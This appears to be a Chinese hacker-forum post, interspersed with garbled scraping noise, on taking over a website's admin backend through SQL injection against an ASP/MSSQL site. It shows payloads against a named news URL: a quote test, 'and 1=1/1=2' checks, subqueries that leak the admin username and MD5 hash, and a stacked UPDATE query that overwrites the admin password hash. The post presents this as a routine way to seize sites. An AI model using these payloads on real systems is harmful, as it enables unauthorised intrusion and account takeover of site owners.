经常拿站的黑阔们一定经常碰到,某个网站有注入,管理员帐号和密码多暴出来了。
; m7 ^' U; n; Q" U可是密码是MD5加密的。而且在线的MD5解密不了。你说咋办?直接修改管理员密码的MD5值。然后进后台!(当然是有条件的。MSSQL)
+ b) m3 ^" b9 F, b测试如下:
& G" |3 c: z/ ~7 Mhttp://www.tmdsb.com/news.asp?id=121
0 _/ [7 v2 f! ^- P在地址后输入单引号,显示
8 f' O! c* Q! FMicrosoft OLE DB Provider for SQL Server 错误 ’80040e14’8 h& h* f' Y8 W- L1 t$ w8 B
字符串 ’’’ 之前有未闭合的引号
: ^" w9 m* \/ C& J$ u9 c" m! L+ i/news/tmdws.asp,行63" Z" v. B0 h! a
说明没有过滤单引号且数据库是MSSQL.0 Q: o% X$ e$ k, @8 l% ] H# ~4 j- I, L
and 1=1正常。and 1=2出错。肯定存在注入# v( I) G$ H- ~4 B8 q9 `5 T; O
接着输入; W' s% \: c/ p- _+ p( H$ c
http://www.tmdsb.com/news.asp?id=1 or admin_user in (select id from admin)
N' P( @" Q: f4 u得到帐号为:admin
9 }2 B& S$ `7 ]http://www.tmdsb.com/news.asp?id=121 or admin_password in (select id from admin)
; T& |% S6 s# T0 ^1 F; W得到密码为:a4716077c2ba075c
/ T# l% h0 l0 w8 I: C接下来我们就可以改密码了。但我们先前要知道我们加密的字符:e8dc763194f29433/ v. M$ `: G( u( y: t9 g2 ~ S
命令如下 :( b( f, M/ @& g" N; H+ ]; o' e
;update shop_admin set password=’e8dc763194f29433’ where password=’a4716077c2ba075c’–
0 @# j+ o# C5 |; v; k0 I这句的意思就是用e8dc763194f29433替换a4716077c2ba075c,以达到修改密码的目的 |